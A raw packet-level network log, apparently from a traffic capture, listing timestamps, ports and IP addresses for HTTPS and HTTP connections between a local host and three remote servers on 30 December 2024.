Dec 30, 2024 19:45:38.900696993 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.900840044 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.900908947 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901026011 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901071072 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901084900 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901096106 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901118040 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901140928 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901345968 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901384115 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901403904 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901408911 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901444912 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901453018 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901532888 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901592970 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901669979 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.901724100 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.901948929 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.902014017 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.902173042 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.902231932 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.921045065 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.921102047 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.921200037 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.921264887 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.955928087 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.956011057 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.988755941 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.988806963 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.988842010 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.988847017 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.988890886 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989116907 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989156008 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989182949 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989187002 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989217043 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989236116 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989308119 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989372969 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989569902 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989646912 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989772081 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989814997 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989826918 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989830971 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.989861012 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.989878893 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990139008 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990169048 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990205050 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990207911 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990235090 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990258932 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990354061 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990422010 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990629911 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990658998 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990693092 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990696907 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.990725040 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990736961 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.990864038 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.991579056 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.009834051 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.009860039 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.009905100 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.009912014 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.009948969 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.009962082 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.044632912 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.044701099 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081228018 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081332922 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081429005 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081492901 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081621885 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081656933 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081685066 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081690073 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081712008 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081732035 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.081824064 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.081883907 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082046032 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082087040 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082104921 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082109928 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082138062 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082159042 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082452059 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082482100 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082501888 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082505941 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082534075 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082549095 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082613945 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082674026 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082873106 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082932949 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.082937002 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082948923 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.082998991 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.083206892 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.083276033 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.083380938 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.084141016 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.121443987 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.121500969 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.121529102 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.121536016 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.121584892 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.197796106 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.197861910 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.241116047 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.241158009 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.241198063 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.241204023 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.241233110 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.241281033 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.242098093 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.242110968 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.242131948 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:39.242136955 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:39.368077040 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:39.372876883 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:39.376612902 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:39.376744986 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:39.376770973 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:39.381489992 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:39.381691933 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.839365959 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.839667082 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.839737892 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.839905977 CET	50065	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.844643116 CET	80	50065	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.847778082 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.852551937 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.853388071 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.853508949 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.853539944 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:40.858305931 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.858377934 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:40.966355085 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:40.966397047 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:40.966597080 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:40.999059916 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:40.999074936 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.512911081 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.512998104 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.520615101 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.520623922 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.520828962 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.581326008 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.623332024 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.671333075 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849406004 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849431992 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849438906 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849466085 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849533081 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.849560976 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.849586010 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.868763924 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.868772030 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.868855953 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.868864059 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.940263987 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.940270901 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.940349102 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.940356970 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941082001 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941088915 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941116095 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941148043 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.941158056 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941183090 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.941622019 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941627979 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941648960 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941680908 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.941689968 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.941718102 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.959295034 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.959302902 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:41.959376097 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:41.959386110 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030409098 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030416012 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030438900 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030471087 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.030478954 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030505896 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.030703068 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030709028 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030735016 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030761003 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.030767918 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.030811071 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.031920910 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.031928062 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.031955004 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.031985998 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.031995058 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032025099 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.032722950 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032728910 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032763004 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032768965 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032794952 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.032802105 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.032840014 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.032860041 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.033718109 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.033809900 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.050096035 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.050163031 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.050396919 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.050451994 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.121124983 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.121202946 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.121510983 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.121571064 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.122109890 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.122143030 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.122162104 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.122169971 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.122203112 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.122224092 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.122904062 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.122968912 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.123768091 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.123799086 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.123842955 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.123848915 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.123883009 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.123893023 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.124684095 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.124722004 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.124726057 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.124736071 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.124775887 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.124783993 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.125638008 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.125699997 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.125734091 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.140665054 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.140697002 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.140746117 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.140753031 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.140783072 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.140805006 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.140918970 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.140981913 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.141031981 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.141086102 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.188288927 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.188374043 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.211699963 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.211771011 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.211875916 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.211944103 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.212315083 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.212348938 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.212363005 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.212371111 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.212394953 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.212415934 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.212910891 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.212970018 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.212975979 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.212980986 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.213025093 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.213603973 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.213670969 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.213670969 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.213680029 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.213717937 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.217571020 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.217618942 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.217844963 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.217888117 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.217900991 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.217905045 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.217936993 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.217950106 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.245631933 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.245696068 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.245971918 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.246033907 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.246431112 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.246493101 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.246557951 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.246613979 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.246793032 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.246845961 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.293144941 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:42.293730974 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:42.293796062 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.293961048 CET	50066	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.298799038 CET	80	50066	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:42.302493095 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.302581072 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.302654028 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.302690983 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.302747011 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.302826881 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.302871943 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.302882910 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.302891016 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.302922010 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.302938938 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.303148031 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.303206921 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.303414106 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.303468943 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.303594112 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.303652048 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.303949118 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.303982973 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304002047 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304007053 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304034948 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304052114 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304217100 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304275990 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304327011 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304358006 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304389000 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304394960 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.304404974 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.304579020 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.307524920 CET	80	50068	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:42.307590961 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.307691097 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.307706118 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:42.312412977 CET	80	50068	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:42.312463999 CET	80	50068	58.151.148.90	192.168.2.4
